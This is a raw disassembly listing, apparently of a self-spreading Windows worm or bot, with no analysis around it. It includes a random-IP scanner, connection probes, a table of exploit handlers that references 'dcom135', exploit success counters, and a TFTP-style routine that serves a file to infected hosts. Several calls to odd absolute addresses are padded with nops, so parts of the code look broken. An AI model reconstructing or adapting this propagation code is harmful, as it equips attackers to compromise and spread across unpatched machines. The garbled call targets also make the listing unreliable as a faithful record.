		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406CBC:				; CODE XREF: sub_406C19+7Ej
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417076
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 25F0278h


loc_406CDC:				; CODE XREF: sub_406C19+50j
		mov	eax, [ebp+var_170]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4450CC[eax], edi
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_417330
		add	esp, 0Ch
		mov	[ebp+var_44], 2
		push	[ebp+var_168]
		call	dword_43F668
		mov	[ebp+var_42], ax
		lea	eax, [ebp+var_44]
		push	10h
		push	eax
		push	edi
		mov	[ebp+var_40], ebx
		call	dword_43F694
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D41
		push	1388h
		call	near ptr 260048Fh
		nop
		dec	[ebp+var_16C]
		push	[ebp+arg_0]
		jmp	loc_407104
; ---------------------------------------------------------------------------


loc_406D41:				; CODE XREF: sub_406C19+10Dj
		lea	eax, [ebp+var_378]
		push	offset aRb	; "rb"
		push	eax
		call	sub_4179A8
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jnz	short loc_406DBF
		push	190h
		call	near ptr 260048Fh
		nop
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_780]
		push	offset unk_42AC04
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_170]
		call	sub_417076
		add	esp, 28h
		push	ebx
		nop
		call	near ptr 25F0278h


loc_406DBF:				; CODE XREF: sub_406C19+140j
		mov	esi, 200h


loc_406DC4:				; CODE XREF: sub_406C19+4A5j
		mov	eax, [ebp+arg_0]
		cmp	[eax+2A0h], ebx
		jz	loc_4070C4
		mov	[ebp+var_880], edi
		mov	edi, 80h
		push	edi
		lea	eax, [ebp+var_D8]
		push	ebx
		push	eax
		mov	[ebp+var_34], 5
		mov	[ebp+var_30], 1388h
		mov	[ebp+var_884], 1
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_34]
		push	eax
		push	ebx
		lea	eax, [ebp+var_884]
		push	ebx
		push	eax
		push	ebx
		call	dword_43F650
		test	eax, eax
		jle	loc_4070B8
		mov	al, byte_43C80C
		mov	ecx, edi
		mov	[ebp+var_580], al
		xor	eax, eax
		lea	edi, [ebp+var_57F]
		mov	[ebp+var_4], 10h
		rep stosd
		stosw
		stosb
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D8]
		push	80h
		push	eax
		push	edi
		call	dword_43F640
		push	[ebp+var_28]
		mov	[ebp+var_C], eax
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_D8], bl
		pop	ecx
		pop	ecx
		jnz	loc_4070A2
		cmp	[ebp+var_D7], 1
		jnz	loc_406FEE
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		lea	eax, [ebp+eax+var_D5]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_D6]
		push	eax
		lea	eax, [ebp+var_274]
		push	eax
		call	sub_418DA0
		add	esp, 14h
		test	eax, eax
		jnz	loc_406FA8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_417AB0
		push	eax
		lea	eax, [ebp+var_1C]
		push	[ebp+var_14]
		push	eax
		call	sub_418DA0
		add	esp, 10h
		test	eax, eax
		jnz	loc_406FA8
		push	ebx
		push	ebx
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		push	esi
		push	1
		push	eax
		mov	[ebp+var_57E], bl
		mov	[ebp+var_57D], 1
		call	sub_418A86
		add	esp, 1Ch
		lea	ecx, [ebp+var_2C]
		mov	[ebp+var_C], eax
		add	eax, 4
		push	[ebp+var_4]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_580]
		push	eax
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42ABBC


loc_406F5C:				; CODE XREF: sub_406C19+484j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_E0], ebx
		jnz	short loc_406F96
		push	ebx
		lea	eax, [ebp+var_780]
		push	[ebp+var_E4]
		push	eax
		lea	eax, [ebp+var_164]
		push	eax
		push	[ebp+var_37C]
		call	sub_40D679
		add	esp, 14h


loc_406F96:				; CODE XREF: sub_406C19+358j
		lea	eax, [ebp+var_780]
		push	eax
		call	sub_40BF6D
		pop	ecx
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FA8:				; CODE XREF: sub_406C19+2B6j
					; sub_406C19+2D7j
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	13h
		push	offset dword_42ABA8
		push	edi
		call	dword_43F6CC
		lea	eax, [ebp+var_274]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		lea	eax, [ebp+var_D8]
		push	offset unk_42AB74
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_D8]
		push	eax
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_4070B8
; ---------------------------------------------------------------------------


loc_406FEE:				; CODE XREF: sub_406C19+275j
		cmp	[ebp+var_D7], 4
		jnz	loc_4070A2
		mov	cl, [ebp+var_D5]
		mov	al, [ebp+var_D6]
		cmp	cl, 0FFh
		mov	[ebp+var_580], bl
		mov	[ebp+var_57F], 3
		jnz	short loc_40702B
		inc	al
		xor	cl, cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], bl
		jmp	short loc_407039
; ---------------------------------------------------------------------------


loc_40702B:				; CODE XREF: sub_406C19+3FEj
		inc	cl
		mov	[ebp+var_57E], al
		mov	[ebp+var_57D], cl


loc_407039:				; CODE XREF: sub_406C19+410j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		push	ebx
		shl	eax, 9
		sub	eax, esi
		push	eax
		push	[ebp+var_8]
		call	sub_418D0E
		push	[ebp+var_8]
		lea	eax, [ebp+var_57C]
		push	esi
		push	1
		push	eax
		call	sub_418A86
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_C], edi
		push	[ebp+var_4]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax


loc_407079:				; DATA XREF: ___:004282F8o
					; ___:0042830Co ...
		lea	eax, [ebp+var_580]
		push	eax
		push	[ebp+var_10]
		call	dword_43F6CC
		cmp	edi, ebx
		jnz	short loc_4070B8
		lea	eax, [ebp+var_378]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	offset dword_42AB20
		jmp	loc_406F5C
; ---------------------------------------------------------------------------


loc_4070A2:				; CODE XREF: sub_406C19+268j
					; sub_406C19+3DCj
		push	[ebp+var_4]
		lea	eax, [ebp+var_2C]
		push	eax
		push	ebx
		push	9
		push	offset dword_42AB14
		push	edi
		call	dword_43F6CC


loc_4070B8:				; CODE XREF: sub_406C19+204j
					; sub_406C19+38Aj ...
		cmp	[ebp+var_C], ebx
		mov	edi, [ebp+var_10]
		jg	loc_406DC4


loc_4070C4:				; CODE XREF: sub_406C19+1B4j
		push	edi
		call	dword_43F700
		push	[ebp+var_8]
		call	sub_417900
		mov	esi, [ebp+arg_0]
		dec	[ebp+var_16C]
		pop	ecx
		cmp	[esi+2A0h], ebx
		jnz	short loc_4070F8
		push	[ebp+var_170]
		call	sub_417076
		pop	ecx
		push	ebx
		call	near ptr 25F0278h
		nop


loc_4070F8:				; CODE XREF: sub_406C19+4CAj
		push	3E8h
		nop
		call	near ptr 260048Fh
		push	esi


loc_407104:				; CODE XREF: sub_406C19+123j
		call	sub_406C19
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_406C19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407110	proc near		; CODE XREF: sub_40EE72+5D3Dp

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_42B134
		push	eax
		xor	ebx, ebx
		call	sub_4172AE
		cmp	dword_42ACB0, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40717E
		push	esi
		mov	esi, offset dword_42ACB8


loc_407143:				; CODE XREF: sub_407110+6Bj
		mov	eax, [esi]
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset aSD	; " %s:	%d,"
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		add	esi, 3Ch
		add	esp, 1Ch
		cmp	dword ptr [esi-8], 0
		jnz	short loc_407143
		pop	esi


loc_40717E:				; CODE XREF: sub_407110+2Bj
		push	dword_489C50
		call	sub_40B721
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_4172AE
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_418DE0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_407110	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4071DB	proc near		; CODE XREF: sub_40EE72+56B1p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	8
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jle	short loc_407217
		mov	eax, [ebp+arg_C]
		push	dword_43C848[eax*8]
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_42B198
		push	eax
		call	sub_4172AE
		add	esp, 0Ch
		jmp	short loc_40722A
; ---------------------------------------------------------------------------


loc_407217:				; CODE XREF: sub_4071DB+13j
		lea	eax, [ebp+var_200]
		push	offset unk_42B168
		push	eax
		call	sub_4172AE
		pop	ecx
		pop	ecx


loc_40722A:				; CODE XREF: sub_4071DB+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40BF6D
		add	esp, 18h
		leave
		retn
sub_4071DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407252	proc near		; CODE XREF: sub_40797F+4Fp

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_4075E2
		imul	eax, 3Ch
		xor	ebx, ebx
		cmp	dword_42ACBC[eax], ebx
		jz	loc_4074C3
		push	4
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	eax, dword_42F5AC
		push	edi
		mov	edi, offset dword_43D804
		push	104h
		push	edi
		push	ebx
		mov	dword_43DA14, eax
		mov	dword_43DA10, ebx
		nop
		call	near ptr 2660000h
		push	103h
		mov	esi, offset dword_43D908
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43D800, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43DA98, eax
		jnz	short loc_407305
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, 1
		jmp	short loc_40731F
; ---------------------------------------------------------------------------


loc_407305:				; CODE XREF: sub_407252+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43DA18
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43DA9C, ebx


loc_40731F:				; CODE XREF: sub_407252+B1j
		push	esi
		push	edi
		push	dword_43DA14
		lea	eax, [ebp+var_204]
		push	offset unk_42B328
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	dword_43DA0C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43D800
		push	offset sub_406C19
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, dword_43DA0C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_40738E


loc_40737C:				; CODE XREF: sub_407252+13Aj
		cmp	dword_43DAA0, ebx
		jnz	short loc_4073A9
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_40737C
; ---------------------------------------------------------------------------


loc_40738E:				; CODE XREF: sub_407252+128j
		call	near ptr 2650BAEh
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B2E8
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4073A9:				; CODE XREF: sub_407252+130j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		mov	edi, offset dword_43DE5C
		mov	[esp+210h+var_210], 104h
		push	edi
		push	ebx
		mov	dword_43E068, ebx
		nop
		call	near ptr 2660000h
		push	103h
		mov	esi, offset dword_43DF60
		push	offset byte_42F678
		push	esi
		call	sub_418C10
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_43DE58, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_43E0F0, eax
		jnz	short loc_407424
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, 1
		jmp	short loc_40743E
; ---------------------------------------------------------------------------


loc_407424:				; CODE XREF: sub_407252+1B3j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_43E070
		call	sub_418C10
		add	esp, 0Ch
		mov	dword_43E0F4, ebx


loc_40743E:				; CODE XREF: sub_407252+1D0j
		push	esi
		push	edi
		push	dword_43E06C
		lea	eax, [ebp+var_204]
		push	offset dword_42B298
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	dword_43E064, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DE58
		push	offset sub_4053D5
		push	ebx
		push	ebx
		call	near ptr 2680BE2h
		nop
		mov	ecx, dword_43E064
		pop	edi
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4074B2


loc_40749C:				; CODE XREF: sub_407252+25Ej
		cmp	dword_43E0F8, ebx
		jnz	loc_4075D5
		push	32h
		call	near ptr 260048Fh
		nop
		jmp	short loc_40749C
; ---------------------------------------------------------------------------


loc_4074B2:				; CODE XREF: sub_407252+248j
		nop
		call	near ptr 2650BAEh
		push	eax
		push	offset dword_42B258
		jmp	loc_4075C6
; ---------------------------------------------------------------------------


loc_4074C3:				; CODE XREF: sub_407252+25j
		cmp	dword_42ACC0[eax], ebx
		jz	loc_4075E2
		push	3
		call	sub_416FA2
		test	eax, eax
		pop	ecx
		jnz	loc_4075E2
		mov	esi, offset dword_43DD34
		push	104h
		push	esi
		push	ebx
		call	near ptr 2660000h
		nop
		push	5Ch
		push	esi
		call	sub_418F10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_407501
		mov	[eax], bl


loc_407501:				; CODE XREF: sub_407252+2ABj
		mov	eax, dword_42F5B0
		mov	dword_43DE4C, ebx
		mov	dword_43DE38, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_43DAAC
		call	sub_4172AE
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_43DAA8, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_43DE38
		mov	dword_43DE44, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_43DE48, ecx
		call	sub_40AEE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42B20C
		push	eax
		call	sub_4172AE
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_416D5A
		add	esp, 20h
		mov	dword_43DE40, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_43DAA8
		push	offset sub_405AF2
		push	ebx
		push	ebx
		nop
		call	near ptr 2680BE2h
		mov	ecx, dword_43DE40
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_4075BA


loc_4075A8:				; CODE XREF: sub_407252+366j
		cmp	dword_43DE54, ebx
		jnz	short loc_4075D5
		push	32h
		nop
		call	near ptr 260048Fh
		jmp	short loc_4075A8
; ---------------------------------------------------------------------------


loc_4075BA:				; CODE XREF: sub_407252+354j
		call	near ptr 2650BAEh
		nop
		push	eax
		push	offset unk_42B1C8


loc_4075C6:				; CODE XREF: sub_407252+26Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4172AE
		add	esp, 0Ch


loc_4075D5:				; CODE XREF: sub_407252+250j
					; sub_407252+35Cj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40BF6D
		pop	ecx


loc_4075E2:				; CODE XREF: sub_407252+14j
					; sub_407252+35j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_407252	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4075E6	proc near		; CODE XREF: sub_407767:loc_4077D8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:43C848h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_43F59C
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_43F664
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_417390
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_4075E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40762E	proc near		; CODE XREF: sub_407767+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_417AB0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_407656
		xor	eax, eax
		jmp	short loc_4076C7
; ---------------------------------------------------------------------------


loc_407656:				; CODE XREF: sub_40762E+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_418A52
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_407683
		call	sub_41730A
		mov	[ebp+var_C], eax


loc_407683:				; CODE XREF: sub_40762E+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_407690
		call	sub_41730A
		mov	[ebp+var_8], eax


loc_407690:				; CODE XREF: sub_40762E+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40769D
		call	sub_41730A
		mov	[ebp+var_4], eax


loc_40769D:				; CODE XREF: sub_40762E+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_4076A9
		call	sub_41730A


loc_4076A9:				; CODE XREF: sub_40762E+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_43C848[ecx*8], eax


loc_4076C7:				; CODE XREF: sub_40762E+26j
		pop	esi
		leave
		retn
sub_40762E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4076CA	proc near		; CODE XREF: sub_407767+BBp
					; sub_40D4C5+30p

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_43F6E8
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4076F3
		xor	eax, eax
		jmp	short loc_407762
; ---------------------------------------------------------------------------


loc_4076F3:				; CODE XREF: sub_4076CA+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_43F668
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_43F704
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_43F650
		push	esi
		mov	edi, eax
		call	dword_43F700
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_407762:				; CODE XREF: sub_4076CA+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4076CA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407767	proc near		; DATA XREF: sub_40797F+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		nop
		call	near ptr 25F07CDh
		push	eax
		call	sub_417300
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_4077AE:				; CODE XREF: sub_407767+204j
		mov	eax, dword_4450C4[ebx]
		cmp	dword_43C84C[eax*8], 0
		jz	loc_407970
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_4077D8
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40762E
		pop	ecx
		jmp	short loc_4077DD
; ---------------------------------------------------------------------------


loc_4077D8:				; CODE XREF: sub_407767+60j
		call	sub_4075E6


loc_4077DD:				; CODE XREF: sub_407767+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_4450C4[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B3BC
		push	eax
		call	sub_4172AE
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_444EC0[ebx]
		push	eax
		call	sub_4172AE
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_4076CA
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_407960
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_4078B4
		push	offset dword_43D7E8
		call	near ptr 77F7E21Fh
		nop
		push	[ebp+var_3C]
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_42B384
		push	eax
		call	sub_4172AE
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_407896
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40788A
		lea	eax, [ebp+var_140]


loc_40788A:				; CODE XREF: sub_407767+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_40D679
		add	esp, 14h


loc_407896:				; CODE XREF: sub_407767+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_40BF6D
		mov	[esp+2A8h+var_2A8], offset dword_43D7E8
		call	near ptr 77F7E300h
		nop
		jmp	loc_407960
; ---------------------------------------------------------------------------


loc_4078B4:				; CODE XREF: sub_407767+D0j
		push	edi
		call	dword_43F6F4
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+var_20]
		pop	ecx
		imul	eax, 3Ch
		pop	ecx
		add	eax, offset aDcom135_0 ; "dcom135"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_4172AE
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_4078F9
		lea	eax, [ebp+var_140]


loc_4078F9:				; CODE XREF: sub_407767+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_4172AE
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_164], eax
		imul	eax, 3Ch
		sub	esp, 0BCh
		mov	[ebp+var_168], esi
		lea	esi, [ebp+var_20C]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	off_42ACB4[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_407960:				; CODE XREF: sub_407767+C6j
					; sub_407767+148j
		push	7D0h
		nop
		call	near ptr 260048Fh
		jmp	loc_4077AE
; ---------------------------------------------------------------------------


loc_407970:				; CODE XREF: sub_407767+55j
		push	esi
		call	sub_417076
		pop	ecx
		push	0
		nop
		call	near ptr 25F0278h
sub_407767	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40797F	proc near		; DATA XREF: sub_40EE72+3300o
					; sub_40EE72+5135o

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
